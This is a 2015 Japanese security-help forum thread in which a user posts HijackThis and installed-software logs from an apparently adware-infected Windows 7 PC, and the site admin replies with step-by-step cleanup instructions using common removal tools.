悪代官の伏魔殿掲示板
salusの駆除をお助けください
はじめまして。
salusに感染をしてしまい、対処の方法が見つからず
お助けを頂きたく、投稿をさせて頂きました。

何卒お力添えをいただけますと幸いです。
以下、ログとなります。

<HJTログ>
Logfile of Trend Micro HijackThis v2.0.5
Scan saved at 15:52:41, on 2015/03/21
Platform: Windows 7 SP1 (WinNT 6.00.3505)
MSIE: Internet Explorer v11.0 (11.00.9600.17631)


Boot mode: Normal

Running processes:
C:\Program Files (x86)\NTTE\StartUpToolN\StartUpTool_e.exe
D:\Program Files (x86)\Creative\Sound Blaster Recon3Di\Sound Blaster Recon3Di Control Panel\SBRcni.exe
C:\Program Files (x86)\Common Files\Microsoft Shared\Ink\TabTip32.exe
D:\Program Files (x86)\MagicDisc\MagicDisc.exe
D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\CLMLSvc_P2G8.exe
D:\Program Files (x86)\Creative\Sound Blaster EVO\Sound Blaster EVO Control Panel\SBEVO.exe
D:\Program Files (x86)\Creative\Sound Blaster Recon3Di\Sound Blaster Recon3Di Control Panel\CTJckCfg.exe
C:\Program Files (x86)\XFastUSB\XFastUsb.exe
C:\Program Files (x86)\DivX\DivX Update\DivXUpdate.exe
C:\Program Files (x86)\Umtayyznhndq1ntz\mtuyntm5ndy1yjy.exe
D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\PowerDVD14Agent.exe
C:\ProgramData\{d8456a48-f8ec-504c-d845-56a48f8ea923}\OptimizerProInstaller.exe
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz.exe
C:\Program Files (x86)\IObit\IObit Uninstaller\UninstallMonitor.exe
C:\Users\Tomohiko\Downloads\AdwCleaner.exe
C:\Users\Tomohiko\Downloads\ATF-Cleaner.exe
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
C:\Users\Tomohiko\Downloads\HijackThis.exe
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

F2 - REG:system.ini: UserInit=userinit.exe
O2 - BHO: AcroIEHelperStub - {18DF081C-E8AD-4283-A596-FA578C2EBDC3} - C:\Program Files (x86)\Common Files\Adobe\Acrobat\ActiveX\AcroIEHelperShim.dll
O2 - BHO: Groove GFS Browser Helper - {72853161-30C5-4D22-B7F9-0BBC1D38A37E} - D:\PROGRA~1\MICROS~1\Office14\GROOVEEX.DLL
O2 - BHO: Microsoft アカウント サインイン ヘルパー - {9030D464-4C02-4ABF-8ECC-5164760863C6} - C:\Program Files (x86)\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll
O2 - BHO: URLRedirectionBHO - {B4F3A835-0E21-4959-BA22-42B3008E02FF} - D:\PROGRA~1\MICROS~1\Office14\URLREDIR.DLL
O2 - BHO: YTAHelperBHO - {FCE3FA8B-BA81-467C-81D8-E43C00D1BC71} - (no file)
O4 - HKLM\..\Run: [Adobe ARM] "C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM.exe"
O4 - HKLM\..\Run: [UpdReg] C:\Windows\UpdReg.EXE
O4 - HKLM\..\Run: [Sound Blaster Recon3Di Control Panel] "D:\Program Files (x86)\Creative\Sound Blaster Recon3Di\Sound Blaster Recon3Di Control Panel\SBRcni.exe" /r
O4 - HKLM\..\Run: [SwitchBoard] C:\Program Files (x86)\Common Files\Adobe\SwitchBoard\SwitchBoard.exe
O4 - HKLM\..\Run: [AdobeCS6ServiceManager] "C:\Program Files (x86)\Common Files\Adobe\CS6ServiceManager\CS6ServiceManager.exe" -launchedbylogin
O4 - HKLM\..\Run: [UpdateP2GoShortCut] "D:\Program Files (x86)\CyberLink\Power2Go\MUITransfer\MUIStartMenu.exe" "D:\Program Files (x86)\CyberLink\Power2Go" UpdateWithCreateOnce "SOFTWARE\CyberLink\Power2Go\6.0"
O4 - HKLM\..\Run: [UpdatePPShortCut] "D:\Program Files (x86)\CyberLink\PowerProducer\MUITransfer\MUIStartMenu.exe" "D:\Program Files (x86)\CyberLink\PowerProducer" UpdateWithCreateOnce "Software\CyberLink\PowerProducer\5.0"
O4 - HKLM\..\Run: [DivXMediaServer] C:\Program Files (x86)\DivX\DivX Media Server\DivXMediaServer.exe
O4 - HKLM\..\Run: [CLMLServer_For_P2G8] "D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\CLMLSvc_P2G8.exe"
O4 - HKLM\..\Run: [CLVirtualDrive] "D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\VirtualDrive.exe" /R
O4 - HKLM\..\Run: [Sound Blaster EVO Control Panel] "D:\Program Files (x86)\Creative\Sound Blaster EVO\Sound Blaster EVO Control Panel\SBEVO.exe" /r
O4 - HKLM\..\Run: [APSDaemon] "C:\Program Files (x86)\Common Files\Apple\Apple Application Support\APSDaemon.exe"
O4 - HKLM\..\Run: [XFastUSB] "C:\Program Files (x86)\XFastUSB\XFastUsb.exe"
O4 - HKLM\..\Run: [QuickTime Task] "D:\Program Files (x86)\QuickTime\QTTask.exe" -atboottime
O4 - HKLM\..\Run: [DivXUpdate] "C:\Program Files (x86)\DivX\DivX Update\DivXUpdate.exe" /CHECKNOW
O4 - HKLM\..\Run: [NTTE_OSA_AUS] "C:\Program Files (x86)\NTTE\OSA_Aus\acs.exe" -silent
O4 - HKLM\..\Run: [Registry Helper] "C:\Program Files (x86)\Registry Helper\RegistryHelper.Exe" /boot
O4 - HKLM\..\Run: [CrashMon] "C:\Program Files (x86)\Umtayyznhndq1ntz\mtuyntm5ndy1yjy.exe" "UniversalUpdater" "http://log.data-url.com/crash/"
O4 - HKLM\..\Run: [PowerDVD14Agent] "D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\PowerDVD14Agent.exe"
O4 - HKLM\..\Run: [mwyyntm1ndi1zdz] C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz.exe
O4 - HKLM\..\RunOnce: [Update] C:\Users\Tomohiko\AppData\Roaming\VOPackage\VOPackage.exe /runonce
O4 - HKCU\..\Run: [Hoolapp Android] "C:\Users\Tomohiko\AppData\Roaming\HOOLAP~1\Hoolapp.exe" /Minimized
O4 - HKCU\..\Run: [Power2GoExpress8] NA
O4 - HKCU\..\Run: [CCleaner Monitoring] "C:\Program Files\CCleaner\CCleaner64.exe" /MONITOR
O4 - HKUS\S-1-5-19\..\Run: [Sidebar] %ProgramFiles%\Windows Sidebar\Sidebar.exe /autoRun (User 'LOCAL SERVICE')
O4 - HKUS\S-1-5-19\..\RunOnce: [mctadmin] C:\Windows\System32\mctadmin.exe (User 'LOCAL SERVICE')
O4 - HKUS\S-1-5-20\..\Run: [Sidebar] %ProgramFiles%\Windows Sidebar\Sidebar.exe /autoRun (User 'NETWORK SERVICE')
O4 - HKUS\S-1-5-20\..\RunOnce: [mctadmin] C:\Windows\System32\mctadmin.exe (User 'NETWORK SERVICE')
O4 - Startup: MagicDisc.lnk = D:\Program Files (x86)\MagicDisc\MagicDisc.exe
O4 - Startup: OptimizerProInstaller.lnk = C:\ProgramData\{d8456a48-f8ec-504c-d845-56a48f8ea923}\OptimizerProInstaller.exe
O4 - Global Startup: スタートアップツール.lnk = ?
O9 - Extra button: 故障かな?と思ったら・・・ - {6CB1FA39-5745-4733-859F-E9C82A68F848} - C:\Program Files (x86)\NTTE\OSA_SupportTool\start_e.exe
O10 - Unknown file in Winsock LSP: c:\program files (x86)\common files\microsoft shared\windows live\wlidnsp.dll
O10 - Unknown file in Winsock LSP: c:\program files (x86)\common files\microsoft shared\windows live\wlidnsp.dll
O11 - Options group: [ACCELERATED_GRAPHICS] Accelerated graphics
O15 - ESC Trusted Zone: http://*.update.microsoft.com
O16 - DPF: {53F4962A-8E27-4601-8B01-79A82B4D7FC9} (LoadPrg Class) - https://member.gungho.jp/front/ec/iframe/LoadPrgAx.CAB
O16 - DPF: {D4B68B83-8710-488B-A692-D74B50BA558E} (Creative Software AutoUpdate Support Package 2) - http://ccfiles.creative.com/Web/softwareupdate/ocx/15113/CTPIDPDE.cab
O16 - DPF: {F6ACF75C-C32C-447B-9BEF-46B766368D29} (Creative Software AutoUpdate Support Package) - http://ccfiles.creative.com/Web/softwareupdate/ocx/130321/CTPID.cab
O18 - Protocol: skype4com - {FFC8B962-9B40-4DFF-9458-1830C7DD7F5D} - C:\PROGRA~2\COMMON~1\Skype\SKYPE4~1.DLL
O18 - Filter hijack: text/xml - {807573E5-5146-11D5-A672-00B0D022E945} - C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE14\MSOXMLMF.DLL
O23 - Service: Adobe Acrobat Update Service (AdobeARMservice) - Adobe Systems Incorporated - C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
O23 - Service: @%SystemRoot%\system32\Alg.exe,-112 (ALG) - Unknown owner - C:\Windows\System32\alg.exe (file missing)
O23 - Service: Apple Mobile Device Service - Apple Inc. - C:\Program Files\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
O23 - Service: Bonjour サービス (Bonjour Service) - Apple Inc. - C:\Program Files\Bonjour\mDNSResponder.exe
O23 - Service: Bluetoothスイッチャーサービス (BtSwitcherService) - Cambridge Silicon Radio Limited - D:\Program Files\CSR\CSR Harmony Wireless Software Stack\BtSwitcherService.exe
O23 - Service: cFosSpeed System Service (cFosSpeedS) - cFos Software GmbH - D:\Program Files\ASRock\XFast LAN\spd.exe
O23 - Service: Creative ALchemy AL6 Licensing Service - Creative Labs - C:\Program Files (x86)\Common Files\Creative Labs Shared\Service\AL6Licensing.exe
O23 - Service: Creative Audio Engine Licensing Service - Creative Labs - C:\Program Files (x86)\Common Files\Creative Labs Shared\Service\CTAELicensing.exe
O23 - Service: CSR Bluetoothオーディオサービス (CSRBtAudioService) - Cambridge Silicon Radio Limited - D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrBtAudioService.exe
O23 - Service: CSR OBEX Service (CsrBtOBEXService) - Cambridge Silicon Radio Limited - D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrBtOBEXService.exe
O23 - Service: CSR Bluetooth サービス (CsrBtService) - Cambridge Silicon Radio Limited - D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrBtService.exe
O23 - Service: Creative Audio Service (CTAudSvcService) - Creative Technology Ltd - C:\Program Files (x86)\Creative\Shared Files\CTAudSvc.exe
O23 - Service: SB Recon3D Service (CtHdaSvc) - Creative Technology Ltd - C:\Windows\sysWow64\CtHdaSvc.exe
O23 - Service: Size Megahertz (dyrepeku) - Unknown owner - C:\Users\Tomohiko\AppData\Roaming\03000200-1426280320-0500-0006-000700080009\nse4AEF.tmp
O23 - Service: @%SystemRoot%\system32\efssvc.dll,-100 (EFS) - Unknown owner - C:\Windows\System32\lsass.exe (file missing)
O23 - Service: @%systemroot%\system32\fxsresm.dll,-118 (Fax) - Unknown owner - C:\Windows\system32\fxssvc.exe (file missing)
O23 - Service: Futuremark SystemInfo Service - Futuremark Corporation - C:\Program Files (x86)\Futuremark\Futuremark SystemInfo\FMSISvc.exe
O23 - Service: Google Update サービス (gupdate) (gupdate) - Google Inc. - C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
O23 - Service: Google Update サービス (gupdatem) (gupdatem) - Google Inc. - C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
O23 - Service: @%SystemRoot%\system32\ieetwcollectorres.dll,-1000 (IEEtwCollectorService) - Unknown owner - C:\Windows\system32\IEEtwCollector.exe (file missing)
O23 - Service: iPod サービス (iPod Service) - Apple Inc. - C:\Program Files\iPod\bin\iPodService.exe
O23 - Service: @keyiso.dll,-100 (KeyIso) - Unknown owner - C:\Windows\system32\lsass.exe (file missing)
O23 - Service: Logitech Bluetooth Service (LBTServ) - Logitech, Inc. - C:\Program Files\Common Files\LogiShrd\Bluetooth\lbtserv.exe
O23 - Service: LiveUpdate (LiveUpdateSvc) - IObit - C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe
O23 - Service: @comres.dll,-2797 (MSDTC) - Unknown owner - C:\Windows\System32\msdtc.exe (file missing)
O23 - Service: @%SystemRoot%\System32\netlogon.dll,-102 (Netlogon) - Unknown owner - C:\Windows\system32\lsass.exe (file missing)
O23 - Service: nProtect GameGuard Service (npggsvc) - Unknown owner - C:\Windows\system32\GameMon.des.exe (file missing)
O23 - Service: NVIDIA Display Driver Service (nvsvc) - Unknown owner - C:\Windows\system32\nvvsvc.exe (file missing)
O23 - Service: NVIDIA WMI Provider (NVWMI) - Unknown owner - C:\Windows\system32\nvwmi64.exe (file missing)
O23 - Service: @%systemroot%\system32\psbase.dll,-300 (ProtectedStorage) - Unknown owner - C:\Windows\system32\lsass.exe (file missing)
O23 - Service: Cyberlink RichVideo Service(CRVS) (RichVideo) - Unknown owner - C:\Program Files (x86)\CyberLink\Shared files\RichVideo.exe
O23 - Service: @%systemroot%\system32\Locator.exe,-2 (RpcLocator) - Unknown owner - C:\Windows\system32\locator.exe (file missing)
O23 - Service: @%SystemRoot%\system32\samsrv.dll,-1 (SamSs) - Unknown owner - C:\Windows\system32\lsass.exe (file missing)
O23 - Service: @%SystemRoot%\system32\snmptrap.exe,-3 (SNMPTRAP) - Unknown owner - C:\Windows\System32\snmptrap.exe (file missing)
O23 - Service: @%systemroot%\system32\spoolsv.exe,-1 (Spooler) - Unknown owner - C:\Windows\System32\spoolsv.exe (file missing)
O23 - Service: @%SystemRoot%\system32\sppsvc.exe,-101 (sppsvc) - Unknown owner - C:\Windows\system32\sppsvc.exe (file missing)
O23 - Service: NVIDIA Stereoscopic 3D Driver Service (Stereo Service) - NVIDIA Corporation - C:\Program Files (x86)\NVIDIA Corporation\3D Vision\nvSCPAPISvr.exe
O23 - Service: SwitchBoard - Adobe Systems Incorporated - C:\Program Files (x86)\Common Files\Adobe\SwitchBoard\SwitchBoard.exe
O23 - Service: @%SystemRoot%\system32\ui0detect.exe,-101 (UI0Detect) - Unknown owner - C:\Windows\system32\UI0Detect.exe (file missing)
O23 - Service: @%SystemRoot%\system32\vaultsvc.dll,-1003 (VaultSvc) - Unknown owner - C:\Windows\system32\lsass.exe (file missing)
O23 - Service: @%SystemRoot%\system32\vds.exe,-100 (vds) - Unknown owner - C:\Windows\System32\vds.exe (file missing)
O23 - Service: @%systemroot%\system32\vssvc.exe,-102 (VSS) - Unknown owner - C:\Windows\system32\vssvc.exe (file missing)
O23 - Service: Memory Key Series (vutyweki) - Unknown owner - C:\Users\Tomohiko\AppData\Roaming\03000200-1426280320-0500-0006-000700080009\jnsq740B.tmp
O23 - Service: @%systemroot%\system32\wbengine.exe,-104 (wbengine) - Unknown owner - C:\Windows\system32\wbengine.exe (file missing)
O23 - Service: @%Systemroot%\system32\wbem\wmiapsrv.exe,-110 (wmiApSrv) - Unknown owner - C:\Windows\system32\wbem\WmiApSrv.exe (file missing)
O23 - Service: @%PROGRAMFILES%\Windows Media Player\wmpnetwk.exe,-101 (WMPNetworkSvc) - Unknown owner - C:\Program Files (x86)\Windows Media Player\wmpnetwk.exe (file missing)

--
End of file - 13486 bytes



<CCログ>
3DMark Futuremark 2013/05/25 1.1
3DMark 11 Futuremark Corporation 2013/03/23 1.0.4
3DMark Vantage Futuremark Corporation 2013/03/23 1.1.0
Adobe AIR Adobe Systems Incorporated 2013/04/13 3.1.0.4880
Adobe Creative Suite 6 Production Premium Adobe Systems Incorporated 2013/04/14 3.57 GB 6
Adobe Help Manager Adobe Systems Incorporated 2013/04/13 4.0.244
Adobe Reader XI (11.0.02) - Japanese Adobe Systems Incorporated 2013/03/22 146 MB 11.0.02
Apple Application Support(32 ビット) Apple Inc. 2015/03/15 94.2 MB 3.1.2
Apple Application Support(64 ビット) Apple Inc. 2015/03/15 107 MB 3.1.2
Apple Mobile Device Support Apple Inc. 2015/03/15 27.9 MB 8.1.1.3
Apple Software Update Apple Inc. 2013/11/24 2.38 MB 2.1.3.127
ASRock 3TB+ Unlocker v1.1 ASRock Inc. 2014/05/02 1.23 MB
ASRock App Charger v1.0.6 ASRock Inc. 2014/05/02 1.32 MB 1.0.6
ASRock eXtreme Tuner v0.1.382.1 2014/05/02 45.9 MB
ASRock InstantBoot v1.29 2014/05/02
ASRock XFast RAM v2.0.28 ASRock Inc. 2014/05/02 11.9 MB
Bonjour Apple Inc. 2013/11/24 2.00 MB 3.0.0.10
Broadcom NetLink Controller Broadcom Corporation 2015/03/15 508 KB 14.8.5.1
CCleaner Piriform 2015/03/21 5.03
CPUID ROG CPU-Z 1.63 CPUID, Inc. 2013/03/22 6.69 MB 1.63
Creative システム インフォメーション Creative Technology Limited 2013/10/27 1.10
CSR Harmony Wireless Software Stack CSR Plc. 2014/05/24 163 MB 2.1.63.0
CyberLink Power2Go 8 CyberLink Corp. 2013/06/29 324 MB 8.0.0.2126b
CyberLink PowerDVD 14 CyberLink Corp. 2015/01/31 439 MB 14.0.4223.58
CyberLink WaveEditor 2 CyberLink Corp. 2013/06/29 35.0 MB 2.0.0.3206
DivXセットアップ DivX, LLC 2014/12/20 2.7.0.31
DVD Decrypter (Remove Only) 2013/05/19
FINAL FANTASY XIV - A Realm Reborn SQUARE ENIX CO., LTD. 2013/08/17 1.0.0000
Futuremark SystemInfo Futuremark Corporation 2013/05/25 4.17.0
GOM Player Gretech Corporation 2014/05/04 2.2.57.5189
Google Chrome Google Inc. 2015/03/15 41.0.2272.101
Intel(R) Management Engine Components Intel Corporation 2013/03/20 7.1.21.1134
IObit Uninstaller IObit 2015/02/18 4.2.6.2
iTunes Apple Inc. 2015/03/15 234 MB 12.1.1.4
MagicDisc 2.7.106 2013/04/14
Microsoft .NET Framework 4.5.2 Microsoft Corporation 2015/01/25 38.8 MB 4.5.51209
Microsoft .NET Framework 4.5.2 (日本語) Microsoft Corporation 2015/01/31 2.93 MB 4.5.51209
Microsoft Office Professional Plus 2010 Microsoft Corporation 2013/07/28 14.0.7015.1000
Microsoft Security Essentials Microsoft Corporation 2015/02/28 4.7.205.0
Microsoft Visual C++ 2005 Redistributable Microsoft Corporation 2013/03/20 300 KB 8.0.59193
Microsoft Visual C++ 2005 Redistributable (x64) Microsoft Corporation 2013/04/13 572 KB 8.0.61000
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.4148 Microsoft Corporation 2013/03/20 788 KB 9.0.30729.4148
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 Microsoft Corporation 2013/03/20 788 KB 9.0.30729.6161
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 Microsoft Corporation 2013/03/31 240 KB 9.0.30729
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148 Microsoft Corporation 2013/03/20 596 KB 9.0.30729.4148
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 Microsoft Corporation 2013/03/20 600 KB 9.0.30729.6161
Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 Microsoft Corporation 2015/02/28 13.8 MB 10.0.40219
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 Microsoft Corporation 2015/02/28 15.0 MB 10.0.40219
Microsoft Visual Studio 2010 Tools for Office Runtime (x64) Microsoft Corporation 2015/02/28 10.0.50903
Microsoft Visual Studio 2010 Tools for Office Runtime (x64) Language Pack - 日本語 Microsoft Corporation 2015/02/28 10.0.50903
MSXML 4.0 SP2 (KB954430) Microsoft Corporation 2013/09/01 1.27 MB 4.20.9870.0
MSXML 4.0 SP2 (KB973688) Microsoft Corporation 2013/09/01 1.33 MB 4.20.9876.0
NVIDIA 3D Vision コントローラー ドライバー 332.21 NVIDIA Corporation 2014/10/12 332.21
NVIDIA 3D Vision ドライバー 333.11 NVIDIA Corporation 2014/10/12 333.11
NVIDIA HD オーディオ ドライバー 1.3.30.1 NVIDIA Corporation 2014/10/12 1.3.30.1
NVIDIA nView 141.13 NVIDIA Corporation 2014/10/12 141.13
NVIDIA WMI 2.16.0 NVIDIA Corporation 2014/10/12 2.16.0
NVIDIA グラフィックス ドライバー 333.11 NVIDIA Corporation 2014/10/12 333.11
QuickTime 7 Apple Inc. 2014/05/22 70.2 MB 7.75.80.95
Sound Blaster EVO Zx/ZxR Creative Technology Limited 2013/10/27 92.6 MB 1.01.01
Sound Blaster EVO Zx/ZxR Extras Creative Technology Limited 2013/10/27 1.0
Sound Blaster Recon3Di Creative Technology Limited 2013/03/23 67.9 MB 1.00.17
Sound Blaster Recon3Di Extras Creative Technology Limited 2013/10/27 1.0
SoundEngine Free Coderium 2013/06/18 5.1.0.5
TI USB 3.0 Host Controller Driver 会社名 2013/03/20 1.03 MB 1.12.9.0
Windows Live Essentials Microsoft Corporation 2014/02/26 16.4.3522.0110
WinRAR アーカイバ 2013/03/22
XFast LAN v9.05 cFos Software GmbH, Bonn 2014/05/02 9.05
XFastUSB ASRock Inc. 2014/05/02 3.02.38
スタートアップツール 東日本電信電話株式会社 2014/11/08 2.61 MB 7.3
リモートサポートツール 東日本電信電話株式会社 2014/11/08
ロジクール SetPoint 6.52 ロジクール 2013/03/20 39.0 MB 6.52.74
日本語 App Name Adobe Systems Incorporated 2013/05/29 1.8
診断復旧ツール 東日本電信電話株式会社 2014/11/08 23.2 MB

以上です。
大変ご面倒をおかけ致しますが
何卒宜しくお願い申し上げます。
  • mari
  • 2015/03/21 (Sat) 16:15:35
確認事項がございます
こんばんは、IVNOと申します。
ひとつ確認させていただきたい事項がございます。
以下のソフトウェアは主に業務に使用するものですが、
本PCは業務を行うために利用なされているPCでしょうか。
Adobe Creative Suite 6 Production Premium Adobe Systems Incorporated 2013/04/14 3.57 GB 6
そちらのご連絡をお待ちしております。
  • IVNO
  • MAIL
  • 2015/03/21 (Sat) 18:12:09
Re: salusの駆除をお助けください
こんばんは。
早速のお返事有難うございます。
本PCは業務利用は無く、アプリも趣味での個人使用です。
大変お手数ですが、引き続き何卒宜しくお願い致します。
  • mari
  • 2015/03/21 (Sat) 18:16:03
では順番に作業をお願いします
こんばんは。
ここの管理人の悪代官です。
家老ではなく悪代官です。その証拠に過労です(謎

IVNOさんがご多忙みたいなので、極道な自分が代わりのレスします(←どこのヒットマンだよ

>本PCは業務利用は無く、アプリも趣味での個人使用です。

ということですか。それなら協力可能と思うので、順番に調べていきましょう。

まず最初にお伝えしておきます。
見てのとおり現在相談者さん多数のため、相談受けてから皆さんに順番にレスできるまで、毎回1日かそれ以上かかる可能性もあるので、すみませんがご了承ください。

では以下の説明をよく見てから、順番に作業をお願いします。
既に準備した物もあるはずですが、一応説明を再度見ておいてください。

隠しファイルと拡張子を表示設定にしてください(やり方↓)
http://pasofaq.jp/windows/mycomputer/hiddenfile.htm
http://support.microsoft.com/kb/978449/ja

下記のツールをダウンロードして、基本の使い方を把握しておいてください。
ただし、配布サイトで他のアプリをダウンロードしろと勧めてくるような広告も出てきたらそれらは絶対にクリックしないでください。
「ATF-Cleaner」(通称:ATF)
説明↓
http://freesoft.tvbok.com/freesoft/pc_system/atf-cleaner.html
ダウンロード↓
http://www.atribune.org/index.php?option=com_content&task=view&id=25&Itemid=25
中央の赤い文字がダウンロードリンクです。
片付けるときはファイルを直接削除してください。

「GeekUninstaller」(通称:GU)
説明ページ↓
http://www.gigafree.net/system/install/geekuninstaller.html
ダウンロード↓
http://www.geekuninstaller.com/download
「download free」をクリック、保存後、解凍してください。
片付ける時はフォルダごと手動で削除してください。

「CCleaner」(通称:CC)
説明↓
http://www.gigafree.net/system/clean/ccleaner.html
http://note.chiebukuro.yahoo.co.jp/detail/n178757
ダウンロード↓
http://www.piriform.com/ccleaner/download/standard
最新バージョンをダウンロードしてください。なお、インストール時におまけのアプリも勧めてくることがありますが、それらはチェック外してインストールは避けてください。
片付けるときはアンインストールしてください。

ここで重要な注意です。
CCは本来は高い性能を持つメンテナンスソフトですが、間違った使い方すると
【Windowsにダメージを与えてしまうおそれもある】
ので、ここでは解析ツールとしてのみ使います。
説明をしっかり読んで、自分が指示した以外の操作はしないように。

「AdwCleaner」(通称:AC)
http://www.bleepingcomputer.com/download/adwcleaner/dl/125/
ファイル直リンです。アクセスしてファイルをデスクトップにでも保存しておいてください。
片付けるときは起動後に「uninstall」ボタンを押せば自動で削除されます。
使い方は下記サイト様に詳しい説明があるのでサンショウウオ↓
http://www.japan-secure.com/entry/adwcleaner.html

そして下記ページは作業開始前に必ず熟読して、必要な場合が出たらそれに沿って対処してください。この対処が必要な事例が増えています。
http://note.chiebukuro.yahoo.co.jp/detail/n335704

準備できたら作業開始です。
なお、このあとの作業で探しても見つからないものはスルーして進めていいですが、指示した対象外の物は絶対にいじらないようによく見て作業してください。

少なくとも下記のアプリは旧バージョンです。
Adobe Reader XI (11.0.02) - Japanese Adobe Systems Incorporated 2013/03/22 146 MB 11.0.02

各種アプリの更新を怠っただけでも、脆弱性を悪用されて深刻な感染はあっさり起きます。
使うなら最新版に更新してください。使わないアプリならアンインストールが安全です。
他にも旧バージョンないか調べて、あれば同様に更新するか、アンインストールしてください。

ここでWindowsの標準機能である「システムの復元」での復元ポイントをひとつ、手動で作成しておいてください。
これはこの後の作業で、間違って対象外のものをいじってしまうとそれだけでWindowsに深刻な不具合を起こすこともあるので、万一の際に復元可能にしておくためです。
http://windows.microsoft.com/ja-jp/windows7/create-a-restore-point

次にここで一度ACを起動してください。
起動するとまず定義の更新が行われるはずなので、更新だけしてから、それができたらACは一旦終了してください。
ここではスキャンもしなくていいです。

今度はPCをセーフモードで起動してください(やり方↓)
http://www.pc-master.jp/sousa/s-safemode.html

セーフモードでGEを使って、下記をアンインストールしてください。
GOM Player Gretech Corporation 2014/05/04 2.2.57.5189

セーフモードのままでATFを起動して、「Recycle bin」(ゴミ箱)以外の箇所全部にチェックしてから、下部の「Empty selected」を押してください。
これでPC内の一時ファイル等のゴミが掃除できます。
ゴミ箱を空にしないのは、もし間違って安全なファイルを削除しても戻せるようにとの対処です。

HJTを起動させ、スキャンを行ってください。
スキャン結果が表示されましたら、以下の項目にチェックを入れてください。
ただし、特にHJTでの作業は一歩間違えれば簡単にPCが起動しなくなるため、こちらが指示した以外のものは絶対にチェックを入れないでください。
O4 - HKLM\..\Run: [Registry Helper] "C:\Program Files (x86)\Registry Helper\RegistryHelper.Exe" /boot

O4 - HKLM\..\Run: [CrashMon] "C:\Program Files (x86)\Umtayyznhndq1ntz\mtuyntm5ndy1yjy.exe" "UniversalUpdater" "http://log.data-url.com/crash/"

O4 - HKLM\..\Run: [mwyyntm1ndi1zdz] C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz.exe

O4 - HKCU\..\Run: [Hoolapp Android] "C:\Users\Tomohiko\AppData\Roaming\HOOLAP~1\Hoolapp.exe" /Minimized

O4 - Startup: OptimizerProInstaller.lnk = C:\ProgramData\{d8456a48-f8ec-504c-d845-56a48f8ea923}\OptimizerProInstaller.exe

O23 - Service: Size Megahertz (dyrepeku) - Unknown owner - C:\Users\Tomohiko\AppData\Roaming\03000200-1426280320-0500-0006-000700080009\nse4AEF.tmp

必要な項目すべてにチェックが入りましたら、Fix checkedをクリックしてください。
探しても見つからないものはスルーして進めていいです。

マイコンピュータのCドライブを開いて、下記のフォルダを探して、見つかればゴミ箱に削除してください。
C:\Program Files (x86)\Registry Helper

C:\Program Files (x86)\Umtayyznhndq1ntz


C:\Users\Tomohiko\AppData\Roaming\HOOLAP~1

C:\ProgramData\{d8456a48-f8ec-504c-d845-56a48f8ea923}

C:\Users\Tomohiko\AppData\Roaming\03000200-1426280320-0500-0006-000700080009

今度は先にも起動したACを再度起動してください。
起動したら今度は「スキャン」したあと、そのスキャン終了後に検出されたものがあったら「除去」を押してください。
表示された画面で「はい」を選択すると処置開始されます。

処置完了したらそこでPCを通常モードで再起動してください。

再起動後にACのあらたなログが出るので、それをデスクトップにでも保存しておいてください。
ですが、もし作業後にログが出ないorわからない場合はマイコンピュータのCドライブを開くとその直下に以下のような名前のファイルが作成されているので、それがACのログです。
>AdwCleaner[英数字].txt
同じような名前のログが複数ある時は、作成日時が作業処置時のファイルが対象のログです。

今度はCCを起動してください。
起動したら、「ツール」→」「スタートアップ」→「Windows」タブを開いてください。
そこで右下の「テキストとして保存」を押すと、表示の内容がログとして保存できるので、ログをデスクトップにでも保存しておいてください。

続いて「InternetExplorer」タブ以下の各タブも順番に開いて、そのログもとっておいてください。
ただし、「コンテキストメニュー」のログは取らなくていいです。

CCの各ログをとったらCCは終了してください。

このあとブラウザを起動して、数時間ほどPC状態を様子見したあと、あらたにHJTとCCでのインストール情報ログを取り直してください。

取り直した両ログと、ACとCCの各ログを返信に貼って、状態報告とともにレスください。
それらを見てから続きの作業を指示します。
  • 悪代官
  • 2015/03/22 (Sun) 20:24:25
Re: salusの駆除をお助けください
Logfile of Trend Micro HijackThis v2.0.5
Scan saved at 23:49:55, on 2015/03/22
Platform: Windows 7 SP1 (WinNT 6.00.3505)
MSIE: Internet Explorer v11.0 (11.00.9600.17631)


Boot mode: Normal

Running processes:
C:\Program Files (x86)\Common Files\Microsoft Shared\Ink\TabTip32.exe
C:\Program Files (x86)\NTTE\StartUpToolN\StartUpTool_e.exe
D:\Program Files (x86)\Creative\Sound Blaster Recon3Di\Sound Blaster Recon3Di Control Panel\SBRcni.exe
D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\CLMLSvc_P2G8.exe
